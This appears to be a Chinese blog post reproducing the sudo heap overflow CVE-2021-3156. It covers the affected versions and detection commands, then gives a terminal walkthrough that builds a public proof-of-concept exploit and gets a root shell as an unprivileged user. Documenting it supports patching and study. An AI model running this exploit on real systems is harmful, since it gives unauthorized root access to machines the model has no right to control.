前言
??網上已經有了很多的相關復現文章,但是還是有一些疑問,比如:
- 普通用戶如果有
sudo權限的話,已經可以執行root用戶能執行的命令,再去提權好像意義不大,
漏洞概述
??該漏洞是類Unix作業系統在命令引數中轉義反斜杠時存在基于堆的緩沖區溢位漏洞,當sudo通過-s或-i命令列選項在shell模式下運行命令時,它將在命令引數中使用反斜杠轉義特殊字符,但使用-s或 -i標志運行sudoedit時,實際上并未進行轉義,從而可能導致緩沖區溢位,
??只要存在sudoers檔案(通常是 /etc/sudoers),攻擊者就可以使用本地普通用戶利用sudo獲得系統root權限,
影響版本
sudo 1.8.2 - 1.8.31p2sudo 1.9.0 - 1.9.5p1
漏洞檢測
1.查看版本
sudo --version
2. 執行sudoedit -s /命令看報錯
使用非root的賬戶登錄系統,運行sudoedit -s / 命令
若回傳以sudoedit:開頭的錯誤,則當前系統可能存在安全風險,
不受影響的系統將顯示以usage:開頭的錯誤回應,
(不知道為啥我驗證的時候并沒有報錯,直接提示我輸入密碼…,但是sudo版本在影響范圍內)
環境準備
-
華為云VPS(Ubuntu 18.04.4 LTS、Sudo version 1.8.21p2)
-
創建新用戶
test-1(無sudo權限) -
下載大佬的EXP(沒辦法,自己太菜了)
開始
test-1@dreamer:/home$ cd test-1/
test-1@dreamer:~$ ls
CVE-2021-3156_nss_poc_ubuntu.tar.gz
test-1@dreamer:~$ tar -zxvf CVE-2021-3156_nss_poc_ubuntu.tar.gz
CVE-2021-3156/
CVE-2021-3156/hax.c
CVE-2021-3156/lib.c
CVE-2021-3156/Makefile
test-1@dreamer:~$ ls
CVE-2021-3156 CVE-2021-3156_nss_poc_ubuntu.tar.gz
test-1@dreamer:~$ cd CVE-2021-3156/
test-1@dreamer:~/CVE-2021-3156$ ls
hax.c lib.c Makefile
解壓后,進入檔案夾開始編譯:
test-1@dreamer:~/CVE-2021-3156$ make
rm -rf libnss_X
mkdir libnss_X
gcc -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
test-1@dreamer:~/CVE-2021-3156$ ls
Makefile hax.c lib.c libnss_X sudo-hax-me-a-sandwich
執行sudo-hax-me-a-sandwich:
test-1@dreamer:~/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
using target: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31'
** pray for your rootshell.. **
[+] bl1ng bl1ng! We got it!
# id
uid=0(root) gid=0(root) groups=0(root),1003(test-1)
#
成功
其它
1:
- 普通用戶采用以上方法提權時需要在exp執行的目錄有權限(比如自己的家目錄),否則編譯時會提示無權創建檔案夾等錯誤
2:
??如果普通用戶有sudo權限(即用戶已經寫入/etc/sudoers檔案中)再用此漏洞提權并不是多此一舉,
(剛開始想著都有sudo權限了,可以執行root用戶所能執行的命令還提什么權啊)
??查了之后知道sudo并不是能執行root所有的命令,(或者說不是所有命令都能加sudo前綴的)如fdisk磁盤磁區工具,root是可以對任何檔案進行洗掉的,更可以洗掉系統檔案導致無法啟動,相反普通用戶和sudo命令都無法進行洗掉的,
具體區別可以參考:
- sudo命令和root直接執行的區別(轉)
當然,有sudo權限已經可以做很多事情了,
問題
-
復現的時候發現sudo后邊好像不能跟cd命令,不能通過執行
sudo cd進root用戶組的目錄看了相關文章說是sudo權限沒法帶進目錄,user和group為root的目錄就只能在su的情況下進,sudo cd是不允許的原因:
cd是shell的內置命令不是程式所以sudo不行
相關鏈接:
- https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/255619.html
標籤:其他
上一篇:代碼已更新
下一篇:深入學習C++底層
